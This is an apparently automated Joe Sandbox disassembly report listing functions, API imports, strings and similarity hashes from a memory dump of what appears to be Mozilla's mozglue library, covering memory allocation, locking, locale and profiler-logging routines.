moz_xmalloc.MOZGLUE(?,?,?,?,6BF2B61E,?,?,?,?,?,00000000), ref: 6BF2B6AC

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6BF2B61E,?,?,?,?,?,00000000), ref: 6BF2B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6BF2B61E,?,?,?,?,?,00000000), ref: 6BF2B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6BF2B61E,?,?,?,?,?,00000000), ref: 6BF2B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6BF2B61E,?,?,?,?,?,00000000), ref: 6BF2B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6BF2B61E), ref: 6BF2B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6BF2B61E,?,?,?,?,?,00000000), ref: 6BF2B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6BF2B61E,?,?,?,?,?,00000000), ref: 6BF2B79A

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: a1cabe67e2e25745fac456db170671152e0635708a6bd378b07f25119dcb48d0
Instruction ID: d30a67c3561f81424d1ee8820d903860c69da6e5b9d5496f56bc0a746716960a
Opcode Fuzzy Hash: a1cabe67e2e25745fac456db170671152e0635708a6bd378b07f25119dcb48d0
Instruction Fuzzy Hash: 8B41B4B3D041159FCB04DFA8DC919AEB7B5AB84320F250A69EC25E73A1E735A91087E1

Function 6BF9B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6BF9B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6BF9B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6BF9B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6BF9B5F4
__Init_thread_footer.LIBCMT ref: 6BF9B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6BF9B61F
std::_Facet_Register.LIBCPMT ref: 6BF9B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF9B655

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: aa0c925516a603c346cbf2d077f174a7a50cedf364453b717f9f9469d54639ca
Instruction ID: a51485bcbff88290b58e2ada3f2066bae2c7037fac4486ec4b332ed161cf9886
Opcode Fuzzy Hash: aa0c925516a603c346cbf2d077f174a7a50cedf364453b717f9f9469d54639ca
Instruction Fuzzy Hash: 2B31D573A10105CBDF04EFA8C895A6EB7B5FF85321B100955D902E7361DB34E80ACB91

Function 6BF39830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6BF87ABE), ref: 6BF3985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6BF87ABE), ref: 6BF398A8
moz_xmalloc.MOZGLUE(00000020), ref: 6BF39909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6BF39918
free.MOZGLUE(?), ref: 6BF39975

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 0fcf7038b2c59f83c62581e62b0fc188d62d267ae8803c21fe30fe1934911c7d
Instruction ID: dfdf914bbbdd14cc3e9023747c6a8291acfee50905b9f1516d91446014650aec
Opcode Fuzzy Hash: 0fcf7038b2c59f83c62581e62b0fc188d62d267ae8803c21fe30fe1934911c7d
Instruction Fuzzy Hash: FD71AB76601725CFC724CF28C490956B7F1FF8A324B508AADD85A8B7A2DB35F801CB90

Function 6BF3B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6BF7CC83,?,?,?,?,?,?,?,?,?,6BF7BCAE,?,?,6BF6DC2C), ref: 6BF3B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6BF7CC83,?,?,?,?,?,?,?,?,?,6BF7BCAE,?,?,6BF6DC2C), ref: 6BF3B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6BF7CC83,?,?,?,?,?,?,?,?,?,6BF7BCAE), ref: 6BF3B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6BF7CC83,?,?,?,?,?,?,?,?,?,6BF7BCAE,?,?,6BF6DC2C), ref: 6BF3B896

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: e6888b26b08aff618f9819a3d660caead7848b0e7b42e37fe79c68e63562a109
Instruction ID: 5969e990bf0c2596b4b1b7fcc74b1a0be681f30229bcb1bfbe8d40a4ebc1e4be
Opcode Fuzzy Hash: e6888b26b08aff618f9819a3d660caead7848b0e7b42e37fe79c68e63562a109
Instruction Fuzzy Hash: 1E517C36B00A14CFCB15CF58C5A4A6ABBF5FF8D314B55885DE98A87362C734E802CB80

Function 6BF64AD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6BF64AB7,?,6BF243CF,?,6BF242D2), ref: 6BF64B48
free.MOZGLUE(?,?,?,80000000,?,6BF64AB7,?,6BF243CF,?,6BF242D2), ref: 6BF64B7F
memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6BF64AB7,?,6BF243CF,?,6BF242D2), ref: 6BF64B94
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6BF64AB7,?,6BF243CF,?,6BF242D2), ref: 6BF64BBC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,pid:,00000004,?,?,?,6BF64AB7,?,6BF243CF,?,6BF242D2), ref: 6BF64BEE

Strings

pid:, xrefs: 6BF64BE8

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfreestrncmp
String ID: pid:
API String ID: 1916652239-3403741246
Opcode ID: 3be63d2b68402893752ba2c9bcb7a9e17eb96e4468c1cc7ce1ad8565d1afe0c7
Instruction ID: a3c5aef259f98783d0222954165f0052f2e83098371118aa16069b947f6491d5
Opcode Fuzzy Hash: 3be63d2b68402893752ba2c9bcb7a9e17eb96e4468c1cc7ce1ad8565d1afe0c7
Instruction Fuzzy Hash: 504117727002159BCB14DEBCEC9099FBBE9EF85264B144638EC59D7391E734990487B1

Function 6BF71D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF71D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6BF71BE3,?,?,6BF71D96,00000000), ref: 6BF71D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6BF71BE3,?,?,6BF71D96,00000000), ref: 6BF71D4C
GetCurrentThreadId.KERNEL32 ref: 6BF71DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF71DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF71DDA

Part of subcall function 6BF71EF0: GetCurrentThreadId.KERNEL32 ref: 6BF71F03
Part of subcall function 6BF71EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6BF71DF2,00000000,00000000), ref: 6BF71F0C
Part of subcall function 6BF71EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6BF71F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6BF71DF4

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 39b6ff2095b0885ec166bedce3063c1897adcfd3dbf9c34796b48f06963df241
Instruction ID: 76f103c78a909fc1522ec02d820a5f179e5fa59d974ad0a3754de0db0f467121
Opcode Fuzzy Hash: 39b6ff2095b0885ec166bedce3063c1897adcfd3dbf9c34796b48f06963df241
Instruction Fuzzy Hash: 6B41AB76200305DFCB24DF28C498B1ABBE8FB49714F10446EE99A87751CB75F818CB90

Function 6BF8AAB0 Relevance: 10.6, APIs: 7, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BFAE220,?), ref: 6BF8BC2D
ReleaseSRWLockExclusive.KERNEL32(6BFAE220), ref: 6BF8BC42
RtlFreeHeap.NTDLL ref: 6BF8BC82
RtlFreeUnicodeString.NTDLL(6BFAE210), ref: 6BF8BC91
RtlFreeUnicodeString.NTDLL(6BFAE208), ref: 6BF8BCA3
RtlFreeHeap.NTDLL ref: 6BF8BCD2
free.MOZGLUE(?), ref: 6BF8BCD8

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 572c9c09e719fe8d54b8d2cf02a7a48f08dcb4db3d6f10b3b72fa1e3e133e94d
Instruction ID: 9bf02678322f75c601d0281410d8a267106149f1eeebc85e90a075e1bfd67294
Opcode Fuzzy Hash: 572c9c09e719fe8d54b8d2cf02a7a48f08dcb4db3d6f10b3b72fa1e3e133e94d
Instruction Fuzzy Hash: F421DF73500305CFE7209F16D880B66BBF8FF42714F04886AE8196B672CB7AE841CB90

Function 6BF338A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BFAE220,?,?,?,?,6BF33899,?), ref: 6BF338B2
ReleaseSRWLockExclusive.KERNEL32(6BFAE220,?,?,?,6BF33899,?), ref: 6BF338C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6BF33899,?), ref: 6BF338F1
RtlFreeHeap.NTDLL ref: 6BF33920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6BF33899,?), ref: 6BF3392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6BF33899,?), ref: 6BF33943
RtlFreeHeap.NTDLL ref: 6BF3396E

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 3fd92f9ab3bd9991ade2c0952777b0a473cf595fec640d0028eea4ed21957ec9
Instruction ID: 0f657bfb432ae02ad702c93fb361640a9ce87e093f1073a36412a72fa872ca43
Opcode Fuzzy Hash: 3fd92f9ab3bd9991ade2c0952777b0a473cf595fec640d0028eea4ed21957ec9
Instruction Fuzzy Hash: 8921E073600624DFE720DF25D880B9AB7AAEF45724F15846AE95A97721C738E881CBD0

Function 6BF684E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6BF684F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6BF6850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6BF6851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6BF6855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6BF6856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6BF685AC

Part of subcall function 6BF67670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6BF685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6BF6767F
Part of subcall function 6BF67670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6BF685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6BF67693
Part of subcall function 6BF67670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6BF685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6BF676A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6BF685B2

Part of subcall function 6BF45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF45EDB
Part of subcall function 6BF45E90: memset.VCRUNTIME140(6BF87765,000000E5,55CCCCCC), ref: 6BF45F27
Part of subcall function 6BF45E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF45FB2

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 0a67dd36ee534cb2273d7bdb898f5e53d97a027ea93c0ba533f54e62fa60c33e
Instruction ID: b0f68e9a5b81fb719c67d21242f1eafbf579bd94ba6e59691030002af427c56d
Opcode Fuzzy Hash: 0a67dd36ee534cb2273d7bdb898f5e53d97a027ea93c0ba533f54e62fa60c33e
Instruction Fuzzy Hash: C0219C762006018FEB14CB28C898B5BB7A5AF85358F14482DE95BC3761FB39F948CB51

Function 6BF31640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6BF31699
VerSetConditionMask.NTDLL ref: 6BF316CB
VerSetConditionMask.NTDLL ref: 6BF316D7
VerSetConditionMask.NTDLL ref: 6BF316DE
VerSetConditionMask.NTDLL ref: 6BF316E5
VerSetConditionMask.NTDLL ref: 6BF316EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6BF316F9

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 46afc79e001a45ba4ccb960a20ff3eaea72374c3d38981fe4fae2d09e1be345b
Instruction ID: af7f7fac8a240097a0480413b7767b81b3f86a150bb30df0e30be7097f5c4dba
Opcode Fuzzy Hash: 46afc79e001a45ba4ccb960a20ff3eaea72374c3d38981fe4fae2d09e1be345b
Instruction Fuzzy Hash: AE21E7B1740218ABFB146B688C45FBFB36CDFC6704F044528F645DB1E1C6789E5887A1

Function 6BF7D1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF7D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7D1F5

Part of subcall function 6BF7AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6BF7AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF7D211
GetCurrentThreadId.KERNEL32 ref: 6BF7D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7D226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF7D279
free.MOZGLUE(?), ref: 6BF7D2B2

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: cbbf378b9a6e89a8db10dc889da1eb18e54c171e0cd0dc4a70a1a41566bb2bb6
Instruction ID: 0e4391739cc292256961841e2327ecbee12892e48b7a625254fa1d960758d473
Opcode Fuzzy Hash: cbbf378b9a6e89a8db10dc889da1eb18e54c171e0cd0dc4a70a1a41566bb2bb6
Instruction Fuzzy Hash: 80218076614306EFCB04DF34C488A9EB7A1FF8A324F50456EE51687361DB35E809CB96

Function 6BF6F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF5CBE8: GetCurrentProcess.KERNEL32(?,6BF231A7), ref: 6BF5CBF1
Part of subcall function 6BF5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF231A7), ref: 6BF5CBFA

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6BF6F598), ref: 6BF6F621

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

GetCurrentThreadId.KERNEL32 ref: 6BF6F637
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8,?,?,00000000,?,6BF6F598), ref: 6BF6F645
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8,?,?,00000000,?,6BF6F598), ref: 6BF6F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6BF6F62A

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e4c93a886b709358d4da8e5efa56329791358d787f18375720340c8bf5632405
Instruction ID: 839040943f5c5db1e6225bfe11fab44a3081d4a47b3fc0278ec4a7c1c2a1972c
Opcode Fuzzy Hash: e4c93a886b709358d4da8e5efa56329791358d787f18375720340c8bf5632405
Instruction Fuzzy Hash: 3C110A37110205EBCB48AF68D584A997B6DFF86398B001415EE05C7732DB7AEC15CBA0

Function 6BF32070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF5AB89: EnterCriticalSection.KERNEL32(6BFAE370,?,?,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284), ref: 6BF5AB94
Part of subcall function 6BF5AB89: LeaveCriticalSection.KERNEL32(6BFAE370,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF5ABD1

LoadLibraryW.KERNEL32(combase.dll,6BF31C5F), ref: 6BF320AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6BF320CD
__Init_thread_footer.LIBCMT ref: 6BF320E1
FreeLibrary.KERNEL32 ref: 6BF32124

Strings

combase.dll, xrefs: 6BF320A9
CoInitializeSecurity, xrefs: 6BF320C7

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 086fd290429e7633951694e1dd3f734f434fbdca3089f33986054b6b915a245a
Instruction ID: dfc6582580b8b06cc3afe37d66cc333de5f960681286bbb526c01a5ecee97a50
Opcode Fuzzy Hash: 086fd290429e7633951694e1dd3f734f434fbdca3089f33986054b6b915a245a
Instruction Fuzzy Hash: 30215777020209EFDF199F58DC98E8E3BA6FB4A365F004118FA0496230D736D869DFA0

Function 6BF699A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF699C1
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF699CE
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF699F8
GetCurrentThreadId.KERNEL32 ref: 6BF69A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF69A0D

Part of subcall function 6BF69A60: GetCurrentThreadId.KERNEL32 ref: 6BF69A95
